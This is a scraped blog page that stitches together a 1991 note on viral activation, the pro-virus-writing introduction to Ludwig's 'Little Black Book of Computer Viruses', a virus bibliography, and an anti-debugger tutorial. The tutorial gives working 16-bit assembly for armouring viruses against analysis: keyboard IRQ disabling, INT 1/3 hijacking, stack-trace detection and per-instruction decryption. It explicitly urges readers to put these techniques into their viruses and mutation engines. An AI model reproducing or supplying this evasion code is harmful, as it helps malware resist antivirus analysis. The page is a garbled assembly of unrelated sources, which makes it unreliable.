In attempting to protect against viral infection, and particularly when trying to disinfect systems, it is important to bear in mind the times that the virus is actively "infectious". The viral activation is not the same as the activation of the payload that a virus may carry. For example, the payload of the original "Stoned" virus was a message which appeared on the screen saying "Your PC is now Stoned!". This message only appears at boot time, and on only one eighth of the times the computer is rebooted. The virus, however, is infectious at all times, if it has infected the hard disk. There are basically three possibilities for the infectious period: now ("one-shot"), during program run ("while called") or from now on (resident). These periods may be modified by other circumstances. A resident virus may remain in memory, but only be actively infecting when a disk is accessed. A "while called" virus may only infect a new program when a directory is changed. "One-shot" viri only get one chance on each "run" of the infected program. The viral code will seek out and infect a target program. They then pass control to the original program, and perform no further functions. These are, of course, the simplest of the viral programs. Mainframe "mail" viri are generally of this type. The second class will activate when the infected program is called, and then pass partial control to the original program. The virus, however, will remain operational during the time that the infected program is running. If this can be accomplished, it is only a slight jump to write a fully memory resident virus. Resident viri are the most successful, and the most dangerous, of viral programs. A resident virus will become active when an infected program is run (or at boot time for boot sector infectors), and remain active until the computer is rebooted or turned off. (Some viral programs are even able to trap the rebooting sequence that is normally called when you press Ctrl- Alt-Del on an MS-DOS PC, and thus are able to survive a "warm boot.") The most successful of the file infectors, the Jerusalem virus, is resident, as are all boot sector infectors. (For fairly obvious reasons; the boot sector is never "called" in normal operation.) If a virus is active in memory, it is a waste of time trying to disinfect a file or disk. No sooner is the file "cleaned", than it becomes a suitable target for re-infection. You may try to disinfect a hard disk right down to performing a low level format: as soon as the disk is reformatted it may be infected all over again. This is why all directions for disinfection stress the necessity of "cold" booting from a disk that is known to be free of infection before attempting any cleanup. copyright Robert M. Slade, 1991 FUNGEN5.CVP 910828
Welcome to my blog I dont own most of the stuffs ... :) . Its for those guys who are lazy.
Friday, January 16, 2015
Viral activation
The Little Black Book Of Computer Viruses
--- WARNING: This book contains complete source code for live computer viruses which could be extremely dangerous in the hands of incompetent persons. You can be held legally liable for the misuse of these viruses, even if such misuse is unintentional. Do not attempt to execute any of the code in this book unless you are well versed in systems programming for personal computers, and you are working on a carefully controlled and isolated computer system. Dont screw your self (Pardon my language) --- The Little Black Book Of Computer Viruses Volume One: The Basic Technology By Mark A. Ludwig
============ INTRODUCTION ============ This is the first part in a series of three books about computer viruses. In these volumes, I want to challenge you to think in new ways about viruses, and break down false concepts and wrong ways of thinking, and go on from there to discuss the relevance of the computer viruses in today's world. These books are not a call to a witch hunt, or manuals for protecting yourself from viruses. On the contrary, they will teach you how to design viruses, deploy them, and make them better. All three volumes are full of source code for viruses, including both new and well known varieties. It is inevitable that these books will offend some people. In fact, I hope they do. They need to. I am convinced that computer viruses are not evil and that programmers have the right to create them, posses them and experiment with them. That kind of a stand is going to offend a lot of people, no matter how it is presented. Even a purely technical treatment of viruses which simply discussed how to write them and provided some examples would be offensive. The mere thought of a million well armed hackers out there is enough to drive some bureaucrats mad. These books go beyond a technical treatment, though, to defend the idea that viruses can be useful, interesting, and just plain fun. That is bound to prove even more offensive. Still, the truth is the truth, and it needs to be spoken, even if it is offensive. Morals and ethics cannot be determined by a majority vote, any more than they can be determined by the barrel of a gun or loud mouth. Might does not make right. If you turn out to be one of those people who gets offended or upset, or if you find yourself violently disagreeing with something I say, just remember what an athletically minded friend of mine once told me: "No pain, no gain." That was in reference to muscle building, but the principle applies intellectually as well as physically. If someone only listens to people he agrees with, he will never grow and he'll never succeed beyond his little circle of yes-men. On the other hand, a person who listens to different ideas at the risk of offense, and who at least considers that he might be wrong, cannot but gain from it. So if you are offended by something in this book, please be critical - both of the book and of yourself- and don't fall into a rut and let someone else tell you how to think. From the start I want to stress that I do not advocate anyone's going out and infecting an innocent party's computer system with a malicious virus designed to destroy valuable data or bring their system to a halt. That is not only wrong, it is illegal. If you do that, you could wind up in jail or find yourself being sued for millions. However, this doesn't mean that it is illegal to create a computer virus and experiment with it, even though I know some people wish it was. If you do create a virus, though, be careful with it. Make sure you know it is working properly or you may wipe out your own system by accident. And make sure you don't inadvertently release it into the world, or you may find yourself in a legal jam... Even if it was just an accident. The guy who loses a year's worth of work may not be so convinced that it was an accident. And soon, it may be illegal to infect a computer system (even your own) with a benign virus which does no harm at all. The key word here is responsability. Be responsible. If you do something destructive, be prepared to take responsability. "The program included in this book could be dangerous if improperly used. Treat them with the respect you would have for a lethal weapon." This first of three volumes is a technical introduction to the basics of writing computer viruses. It discusses what a virus is and how it does its job, going into the major functional components of the virus, step by step. Several different types of viruses are developed from the ground up, giving the reader practical how-to information for writing viruses. That is also a prerequisite for decoding and understanding any viruses one may run across in his day to day computing. Many people think of viruses as sort of a black art. The purpose of this volume is to bring them out of the closet and look at them matter-of-factly, to see them for what they are, technically speaking: computer programs. The second volume discusses the scientific applications of computer viruses. There is a whole new field of scientific study known as artificial life (AL) research which is opening up as a result of the invention of viruses and related entities. Since computer viruses are functionally similar to living organisms, biology can teach us a lot about them, both how they behave and how to make them better. However, computer viruses also have the potential to teach us something about living organisms. We can create and control computer viruses in a way that we cannot yet control living organisms. This allows us to look at life abstractly to learn about what it really is. We may even reflect on such great questions as the beginning and subsequent evolution of life. The third volume of this series discusses military applications for computer viruses. It is well known that computer viruses can be extremly destructive, and that they can be deployed with minimal risk. Military organizations throughout the world know that too, and consider the possibility of viral attack both a very real threat and very real offensive option. Some high level officials in various countries already believe their computers have been attacked for political reasons. So the third volume will probe military strategies and real-life attacks, and dig into the development of viral weapon systems, defeating anti- viral defenses, etc. You might be wondering at this point why you should spend time studying these volumes. After all, computer viruses apparently have no commercial value apart from their military applications. Learning how to write them may not make you more employable, or give you new techniques to incorporate into programs. So why waste time with them, unless you need then to sow chaos among your ennemies? Let me try to answer that: Ever since computers were invented in the 1940's, there has been a brotherhood of people dedicated to exploring the limitless possibilities of these magnificent machines. This brotherhood has included famous mathematicians and scientists, as well as thousands of unnamed hobbyists who built their own computers, and programmers who love to dig into the heart of their machines. As long as computers have been around, men have dreamed of intelligent machines which would reason, and act without being told step by step just what to do. For many years this was purely science fiction. However, the very thought of this possibility drive some to attempt to make it a reality. This "artificial intelligence" was born. Yet AI applications are often driven by commercial interests, and tend to be colored by the fact. Typical results are knowledge bases and the like - useful, sometimes exciting, but also geared toward putting the machine to use in a specific way, rather that to exploring it on its own terms. The computer virus is a radical new approach to this idea of "living machines." Rather that trying to design something which poorly mimics highly complex human behavior, one starts by trying to copy the simplest of living organisms. Simple one-celled organisms don't do very much. The most primitive organisms draw nutrients from the sea in the form of inorganic chemicals, and take energy from the sun, and their only goal is apparently to survive and to reproduce. They aren't very intelligent, and it would be tough to argue about their metaphysical aspects like "soul." Yet they do what they were programmed to do, and they do it very effectively. If we were to try to mimic such organisms by building a machine - a little robot - which went around collecting raw materials and putting them together to make another robot, we would have a very difficult task on our hands. On the other hand, think of a whole new universe - not this physical world, but an electronic one, which exists inside of a computer. Here is the virus' world. Here it can "live" in a sense not too diffrentt from that of primitive biological life. The computer virus has the same goal as a living organism - to survive and to reproduce. It has environmental obstacles to overcome, which could "kill" it and render it inoperative. And once it is released, it seems to have a mind of its own. It runs off in its electronic world doing what it was programmed to do. In this sense it is very much alive. There is no doubt that the beginning of the life was an important milestone in the history of the earth. However, if one tries to consider it from the viewpoint of inanimate matter, it is difficult to imagine life as being much more than a nuisance. We usually assume that life is good and that it deserves to be protected. However, one cannot take a step further back and see life as somehow beneficial to the inanimate world. If we consider only the atoms of the universe, what difference does it make if the temperature is seventy degrees farenheit or twenty million? What difference would it make if the earth were covered with radioactive materials? None at all. Whenever we talk about the environment and ecology, we always assume that life is good and that it should be nurtured and preserved. Living organisms universally use the inanimate world with little concern for it, from the smallest cell which freely gathers the nutrients it needs and pollutes the water it swims in, right up to the man who crushes up rocks to refine the metals out of them and build airplanes. Living organisms use the material world as they see fit. Even when people get upset about something like strip mining, or an oil spill, their point of reference is not that of inanimate nature. It is an entirely selfish concept (with respect to life) that motivates them. The mining mars the beauty of the landscape - a beauty which is in the eye of the (living) beholder - and it makes it unhabitable. If one did not place a special emphasis on life, one could just as well promote strip mining as an attempt to return the earth to its pre-biotic state! I say all of this not because I have a bone to pick with ecologists. Rather I want to apply the same reasoning to the world of computer viruses. As long as one uses only financial criteria to evaluate the worth of a computer program, viruses can only be seen as a menace. What do they do besides damage valuable programs and data? They are ruthless in attempting to gain access to the computer system resources, and often the more ruthless they are, the more successful. Yet how does that differ from biological life? If a clump of moss can attack a rock to get some sunshine and grow, it will do so ruthlessly. We call that beautiful. So how different is that a computer virus attaching itself to a program? If all one is concerned about is the preservation of inanimate objects (which are ordinary programs) in this electronic world, then of course viruses are a nuisance. But maybe there is something deeper here. That all depends on what is most important to you, though. It seems that modern culture has degenerated to the point where most men have no higher goals in life than to seek their own personal peace and prosperity. By personal peace, I do not mean freedom from war, but a freedom to think and believe whatever you want without ever being challenged in it. More bluntly, the freedom to live in a fantasy world of your own making. By property, I mean simply an ever increasing abundance of material possessions. Karl Marx looked at all of mankind and said that the motivating force behind every man is his economic well being. The result, he said, is that all of history can be interpreted in terms of class struggles - people fighting for economic control. Even though many in our government decry Marx as the father of communism, our nation is trying to squeeze itself into the straight jacket he has laid for us. That is why two of George Bush most important campaign promises were "four more years of prosperity" and "no new taxes." People vote for their wallets, even when they know the politicians are lying through their teeth. In a society with such values, the computer becomes merely a resource which people use to harness an abundance of information and manipulate it to their advantage. If that is all there is to computers, then computer viruses are a nuisance, and they should be eliminated. Surely there must be some nobler purpose for mankind than to make money, though, even though that may be necessary. Marx may not think so. The government may not think so. And a lot of loud-mouthed people may not think so. Yet great men from every age and every nation testify to the truth that man does have a higher purpose. Should we not be as Socrates, who consider himself ignorant, and who sought Truth and Wisdom, and valued them more highly than silver and gold? And if so, the question that really matters is not how computers can make us wealthy or give us power over others, but how they might make us "wise". What can we learn about ourselves? About our world and, yes, maybe even about God? Once we focus on that, computer viruses become very interesting. Might we not understand life a little better if we can create something similar, and study it, and try to understand it? And if we understand life better, will we not understand our lives, and our world better as well? A word of caution first: Centuries ago, our nation was etablished on philosophical principles of good government, which were embodied in the Declaration of Independence and Constitution. As personal peace and prosperity have become more important than principles of good government, the principles have been manipulated and redefined to suit the whims of those who are in power. Government has become less and less sensitive to civil rights, while it has become easy for various political and financial interests to manipulate our leaders to their adventage. Since people have largely ceased to challenge each other in what they believe, accepting instead the idea that whatever you want to believe is OK, the government can no longer get people to obey the law because everyone believes in a certain set of principles upon which the law is founded. Thus, government must coerce people into obeying it with increasingly harsh penalities for disobedience - penalities which often fly in the face of long established civil rights. Furthermore, the government must restrict the average man's ability to seek recourse. For example, it is very common for the government to trample all over long- standing constitutional rights when enforcing the tax code. The IRS routinely forces hundreds of thousands of people to testify against themselves. It routinely puts the burden of proof on the accused, seizes his assets without trial, etc., etc. The bottom line is that it is not expedient for the government to collect money from its citizens if it has to proove their tax documents wrong. The whole system would break down in a massive overload. Economically speaking, it is just better to put the burden of proof on the citizen, Bill of Rights or no. Likewise, to challenge the government on a question of rights is practically impossible, unless your case happens to serve the purposes of some powerful special interest group. In a standard courtroom, one often cannot even bring up the subject of constitutional rights. The only question to be argued is whether or not some particular law was broken. To appeal to the Supreme Court will cost millions, if the politically motivated justices will even condescend to hear to case. So the government becomes pratically all-powerful, God walking on earth, to the common man. One man seems to have little recourse but to blindy obey those in power. When we start talking about computer viruses, we're treading on some ground that certain people want to post a "No Trepassing" sign on. The congress of the United States has considered a "Computer Virus Eradication Act" which would make it a felony to write a virus, or for two willing parties to exchange one. Never mind that the constitution garantees freedom of speech and freedom of the press. Never mind that it garantees the citizens the right to bear military arms (and viruses might be so classified). While that law has not passed as of this writing, it may by the time you read this book. If so, I will say without hesitation that it is a miserable tyranny, but one that we can do little about... for now. Some of our leaders may argue that many people are not capable of handling the responsability of power that comes with understanding computer viruses, just as they argue that people are not able to handle the power of owning assault rifles or machine guns. Perhaps some cannot. But I wonder, are our leaders any better able to handle the much more dangerous weapons of law and limitless might? Obviously they think so, since they are busy trying to centralize all power into their own hands. I disagree. If those in government can handle power, then so can the individual. If the individual cannot, then neither can his representatives, and our end is either tyranny or chaos anyhow. So there is no harm in attempting to restore some small power to the individual. But remember: truth seekers and wise men have been persecuted by powerful idiots in every age. Although computer viruses may be very interesting and worthwhile, those who take an interest in them may face some serious challenges from base men. So be careful. Now join with me and take the attitude of early scientists. These explorers wanted to understand how the world worked - and whether it could be turned to a profit mattered little. They were trying to become wiser in what's really important by understanding the world a little better. After all, what value could there be in building a telescope so you could see the moons around Jupiter? Galileo must have seen something in it, and it must have meant enough to him to stand up to the ruling authorities of his day and do it, and talk about it, and encourage others to do it. And to land in prison for it. Today some people are glad he did. So why not take the same attitude when it comes to creating life on a computer? One has to wonder where it might lead. Could there be a whole new world of electronic life forms possible, of which computer viruses are only the most rudimentary sort? Perhaps, they are the electronic analog of the simplest one- celled creatures, which were only the tiny beginning on life on earth. What would be the electronic equivalent of a flower, or a dog? Where could it lead? The possibilities could be as exciting as the idea of a man actually standing on the moon would have been to Galileo. We just have no idea. There is something in certain men that simply drives them to explore the unknown. When standing at the edge of a vast ocean upon which no ship ever sailed, it is difficult not to wonder what lies beyond the horizon just because the rules of the day tell you you're going to fall of the edge of the world (or they're going to push you off) if you try to find out. Perhaps they are right. Perhaps there is no value out there. Yet great explorers down trough the ages have explored other oceans and succeeded. And one thing is for sure: we'll never know if someone doesn't look. So I would like to invite you to climb aboard the little mast that I have built and go exploring... --- Bibliography on Viruses. The following is a list of books on the subject of computer viruses and virus-related topics that I have accumulated over the years. It is not meant to be all-inclusive or a complete guide on the subject and inclusion here is not to be concluded as being an endorsement of any sort. Aryeh Goretsky TEL: (408) 988-3832 Mgr, Tech Support Dept FAX: (408) 970-9727 McAfee Associates, Inc. BBS: (408) 988-3832 3350 Scott Blvd, Bldg 14 CIS: 76702,1714 Santa Clara, CA 95054-3107 Internet: aryehg@mcafee.COM _________________________________________________________________ Burger, Ralf. COMPUTER VIRUSES: A HIGH-TECH DISEASE, 3rd Ed. Abacus Press, Grand Rapids, MI: 1989. 276pp ______, ____. COMPUTER VIRUSES AND DATA PROTECTION. Abacus Press, Grand Rapids, MI: 1991. 353pp Denning, Peter J., Ed. COMPUTERS UNDER ATTACK: INTRUDERS, WORMS AND VIRUSES, ACM PRESS: 1990. 554pp Ferreyra Cortes, Gonzalo. VIRUS EN LAS COMPUTADORAS (in Spanish), Macrobit, Miami, FL: 1990. Fites, Philip, Peter Johnston, and Martin Kratz. COMPUTER VIRUS CRISIS, THE, Van Nostrand Reinhold, NY: 1989. 171pp Haynes, Colin. THE COMPUTER VIRUS PROTECTION HANDBOOK, Sybex, Alameda, CA: 1990. 192pp Hoffman, Lance J, Ed. ROGUE PROGRAMS: VIRUSES, WORMS, AND TROJAN HORSES, Van Nostrand Reinhold, NY: 1990. 384pp Hruska, Jan. COMPUTER VIRUSES AND ANTI-VIRUS WARFARE. Ellis Horwood, Ltd., West Sussex, UK: 1990. 128pp Jacobson, Robert V. THE PC VIRUS CONTROL HANDBOOK, 2nd Edition, Miller Freeman Publications, NY: 1990. 162pp ________, ________. USING McAFEE ASSOCIATES SOFTWARE FOR SAFE COMPUTING. International Security Technology, NY: 1992. 143pp Jarvinen, Petteri. TIETOKONE VIRUKSET (in Finnish), Werner Soderstrom Osakeyhtio, Helsinki: 1990. 226pp Javeri, Harsh, and Suchit Nanda. WAR ON VIRUS, The Computer Book Shop, Bombay: 1990. 292pp Lundell, Allan. VIRUS! THE SECRET WORLD OF COMPUTER INVADERS THAT BREED AND DESTROY. Contemporary Books, Chicago: 1989. 189pp McAfee, John, and Colin Haynes. COMPUTER VIRUSES, WORMS, DATA DIDDLERS, KILLER PROGRAMS AND OTHER THREATS TO YOUR SYSTEM. St Martins, NY: 1988. 235pp The following books, while not specifically about computer viruses, contain information that may be of interest: Baker, Richard H. COMPUTER SECURITY HANDBOOK, 2nd Ed. TAB Books, Blue Ridge Summit, PA: 1991. 416pp DeMaio, Harry B. INFORMATION PROTECTION AND OTHER UNNATURAL ACTS., AMACOM, New York: 1992. 232pp Forester, Tom, and Perry Morrison. COMPUTER ETHICS: CAUTIONARY TALES AND ETHICAL DILEMMAS IN COMPUTING. MIT Press, Cambridge: 1990. 193pp Jennings, Karla. THE DEVOURING FUNGUS: TALES OF THE COMPUTER AGE, WW Norton & Co., NY: 1990. 237pp Mueller, Scott. QUE'S GUIDE TO DATA RECOVERY. QUE Corporation, Carmel, IN: 498pp National Research Council. COMPUTERS AT RISK: SAFE COMPUTING IN THE INFORMATION AGE. National Academy Press, Washington DC: 1991. 303pp Raymond, Eric, Ed. THE NEW HACKERS DICTIONARY., MIT Press, Cambridge: 1991. 433pp Rothman, David H. THE COMPLETE LAPTOP COMPUTER GUIDE, St Martins, NY: 1990. 384pp Sawicki, Ed. LAN DESKTOP GUIDE TO SECURITY, SAMS, Carmel, IN: 1992. 349pp Wilson, Ralph. HELP! THE ART OF COMPUTER TECHNICAL SUPPORT, Peachpit Press, Berkeley: 1991. 231pp =================================================================
Anti-Debugger Techniques
Hi
I have been taking a time off from writing my blogs. here I am writing again..
Many of us have gone through debugging and so on.
This topic is just for educational purposes only and i have adopted it from various sites and bit of research.
I am not responsible for any of your action.
I have been taking a time off from writing my blogs. here I am writing again..
Many of us have gone through debugging and so on.
This topic is just for educational purposes only and i have adopted it from various sites and bit of research.
I am not responsible for any of your action.
There are many simple and trivial ways to thwart debuggers. This document will deal mainly with more advanced methods.
Perhaps the most obvious way to kill a debugger, is to overwrite the Interrupt Vector of Interrupts 1 (Debug Single Step), and 3 (Debug Break Point). This can be defeated by simply skipping the instructions. Another thing you could do, is place an INT 3 in a long loop, which will cause the debugger to stop at the INT 3 each iteration, which will stop the AV from simply proceeding through the loop. This is very easilly defeated by NOP'ing out the INT 3.
Another thing to do, is turn of the keyboard. There are manyways to do this, but the simplest is: IN AL,20h ;Turn of Keyboard IRQ OR AL,02 OUT AL,20 <virus code> IN AL,20 ;Enable Keyboard IRQ AND AL,NOT 2 OUT AL,20 Anti-Debugger Techniques: Interrupt Replacement ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This technique involves replacing the vector of a INTERRUPT 1/3 with the interrupt off another interrupt, and calling that instead. This works especially well with INT 3, as it is only 1 byte long, and can not simply be replaced with the proper Interrupt. Here is an example of INT replacement from the virus [H8urNMEs]. It changes INT 3 to point to the tunneled INT 21, and calls INT 3 for all DOS requests: ------------------------------------------------------------------------
mov ax,3503 int 21 mov int_3_seg,es mov int_3_off,bx lds dx, site_traced_off mov ax,2503 int 21 mov ds,cs mov ax,3524 int 3 mov int_24_seg,es mov int_24_off,bx ------------------------------------------------------------------------
It simply makes INT 3 point to DOS, and uses this fact to fetch the INT 24 vector. Anti-Debugger Techniques: INT 1 Tracing Destroys the Stack ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ When tracing through code, with INT 1, the 6 bytes below SP are overwritten with the pushed returnig IP, CS, and Flags. There are 2 ways to take advantage of this fact. The first is to PUSH a value on to the stack, POP it, and then adjust SP and POP it again to see if it changes. If it has, the code has been traced. Here is an example: ------------------------------------------------------------------------ PUSH AX POP AX DEC SP DEC SP POP BX ;BX should point to the pushed AX. CMP AX,BX JNE CODE_IS_TRACED ------------------------------------------------------------------------ The second way is to store a critigal value like a Decryption key in SP. This value should also point to the code, and you should NOT use any stack operations. This way, if a debugger is running, the code that SP points to will be overwritten. Here is a complete program to illustrate it. To make it run properly, you must have to encrypt it. I will not how you how.. If you can not work it out you should not even be reading this. It also has the added advantage of avoiding the TBAV '#' (decryptor) flag. Any way here it is: ------------------------------------------------------------------------ ;STACK.ASM radix 16 elength equ (end - estart)/2 org 100 mov bp,sp cli mov sp,estart sti mov bx,sp mov cx,elength eloop: xor cs:[bx],sp ;SP is decryption key. inc bx inc bx ;If a Debugger is running, cli ;All the code after ESTART will be add sp,6 ;overwritten. sti loop eloop estart: cli mov sp,bp sti mov ah,9 mov dx,offset msg - 12 add dx,12 int 21 mov ah,4c int 21 msg db 'Yeah!!$'
end:
Anti-Debugger Techniques: Use Your Anti-Debug Routines as The Decrypt Key ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This is a lot easier to do then it sounds. Basically, all you have to do is retreive a byte from the Anti - Debugger routines each time, and use it to modify your decryption routine in some manor. Of course the code you are decrypting must have been encrypted in a corresponding manner! Any way, here is a code fragment example: ------------------------------------------------------------------------ ;This code LODSBs a byte from the Anti-Debug routine, on each iteration, ;and ADDs it to the XOR key. Because of this the AV can not simply NOP ;out the INT 3, and other traps in the Anti-Debug routine which is called ;on each iteration! DEC_START is assumed to be the offset of the start of ;the encrypted code, while DEC_LENGTH is the number of bytes to decrypt. mov dl,0aa ;initial key. decrypt: mov di,offset dec_start mov cx,dec_length mov si,offset decrypt ;offset of code to use ;to modify decryption key. dec_loop: lodsb ;AL=byte from anti-debug ;routines add dl,al ;MODIFY KEY. If code has been ;modified, the key will be ;wrong. xor [di],dl ;decrypt inc di call anti_debug ;kill debuggers. ;this call cant be NOP'd out, ;as it is part of the Decrypt ;key. cmp si,offset end_ad ;if SI has reached end of jne no_fix ;anti-debug code, reset it. mov si,offset decrypt no_fix: loop dec_loop jmp dec_start ;JMP past Anti_Debug to ;the newly decrypted code.. Anti_Debug: in al,20 ;get IRQ status. or al,2 ;Disable IRQ 1 (keyboard) out 20,al int 3 ;stop the debugger on each loop (you cant int 3 ;NOP these out!), note that when the debugger ;stops here, the keyboard will be disabled, ;so the can't do any thing! push ax push ds xor ax,ax mov ds,ax xchg ax,[4] ;Kill INT 1 int 3 ;Fuck with their heads xchg ax,[4] ;restore INT 1 pop ds mov ax,offset ad_jmp ;destination of JMP push ax pop ax dec ax dec ax ;if this code was traced, AX will no longer pop ax ;be equal to the JMP destination jmp ax pop ax ret (BELOW CODE IS ENCRYPTED) dec_start: in al,20 and al,NOT 2 out 20,al ;Re-Enable Key board.. <REST OF VIRUS CODE> ------------------------------------------------------------------------ Anti-Debugger Techniques: The Running Line ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The last method, I am going to illustrate, is called the Running Line. It is VERY resistant to debuggers. It involves hooking INT 1, and Decrypting each instruction _JUST BEFORE_ it's run, and Re-Encrypting it _STRAIGH AFTER_ it has been executed. This way, only _1_ instruction at a time is decrypted in memory. Here is a fully working example. ------------------------------------------------------------------------ ;RUNLINE.ASM radix 16 org 100 xor ax,ax ;ax=0 mov es,ax ;es=ax=0 mov di,es:W[4] mov si,es:W[6] ;save int 1 vector mov es:W[4],offset tracer mov es:W[6],cs ;int1 = cs:tracer mov bp,sp pushf or B[bp-1],1 ;set TRACE flag popf ;set it xor dx,dx ;this serves no purpose, and ;is just here because the first ;instruction after setting the ;flag is not traced. ;********************************************************************** ;** The below data, is the Encrypted instructions. The INT 1 handler ** ;** only decrypts instruction on WORD (EVEN) boundaries. It XORs the ** ;** instruction (WORD) with its offset in CS (ie. it's IP when it's ** ;** run). Thats why each word is XOR'd with $ (it's position). ** ;********************************************************************** dw 01f0e XOR $ ;PUSH CS / POP DS dw 009b4 XOR $ ;MOV AH,9h dw 0ba90 XOR $ ;NOP / MOV DX, dw offset msg ;offset msg dw 021cd XOR $ ;INT 21h dw 0e589 XOR $ ;MOV BP,SP dw 06680 XOR $ ;AND B[BP+, dw 0feff ;FF],FE (turn off TRACE flag). last_enc equ $ dw 0bb9d XOR $ ;POPF / MOV BX, dw last_enc ;LAST_ENC xor cs:W[bx],bx ;re-encrypt last instruction.. mov es:W[4],di mov es:W[6],si ;restore int 1 vector mov ah,4c int 21 ;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ;THINGS TO NOTE FROM THE ABOVE: Firstly, in the instructions ; NOP ; MOV DX,OFFSET MSG ;the MOV DX opcode is on an odd boundary, and hence, the decryptor will ;not decrypt it. Secondly the 'DW OFFSET MSG' in MOV DX,OFFSET MSG ;is not encrypted, because it it is data from another instruction, and ;therefore it will never be executed, and passed to the INT 1 handler. ;The same goes for the +FF(-1),FE in the AND B[BP-1],FE. ;********************************************************************** ;** The following procedure, is the work horse of this code. The CPU ** ;** will call this INT 1 handler before each opcode as long as the ** ;** TRACE flag is set. Unlike most INT 1 handlers that you'll see in ** ;** virii, this contains no defensive traps. This is because we are ** ;** tracing our own code, and not unknown (possibly hostile) code. ** ;** It retrieves the calling IP from the stack, and if it is odd, ** ;** exits. If even, it will re-encrypt the previous instruction, and ** ;** decrypt the current one. It saves the calling IP, so that it can ** ;** re-encrypt it when it is called for the next instruction. ** ;********************************************************************** tracer: push bp ;save BP mov bp,sp ;BP=SP for reference point of stack. push si ;save SI mov bp,W[bp+2] ;BP = calling IP (position of ;encrypted instruction). test bp,1 ;check if on an odd boundry.. jnz is_odd ;it is so leave. mov si,cs:last ;else get the position of the last ;decrypted instruction to reincrypt. mov cs:last,bp ;save current position for next time. xor cs:W[si],si ;re-encrypt last (XOR it with its IP) xor cs:W[bp],bp ;decrypt current (XOR it with its IP) is_odd: pop si ;restore SI pop bp ;restore BP iret ;adeos! last dw 0 ;last IP for re-encrpytion.. msg db 'Yeah!!$' ;EVERYBODY SAY YEAH!!!! ------------------------------------------------------------------------ CONCLUSION ~~~~~~~~~~ -TAUGHT-WHEN-WE-ARE-YOUNG-TO-HATE-ONE-ANOTHER- I STRONGLY urge you to employ the above techniques in your virii and/or poly engine. If your virus refuses to infect bait files, is VERY heavilly armoured, so the can not decrypt it, and dissasemble it, and mutates so slowly, and on such obscure conditions, HOW ARE THEY GOING TO IT? Devising an algorith for such a virus would be _VERY_ difficult.
finally i would like to thank the people behind this..
Subscribe to:
Posts (Atom)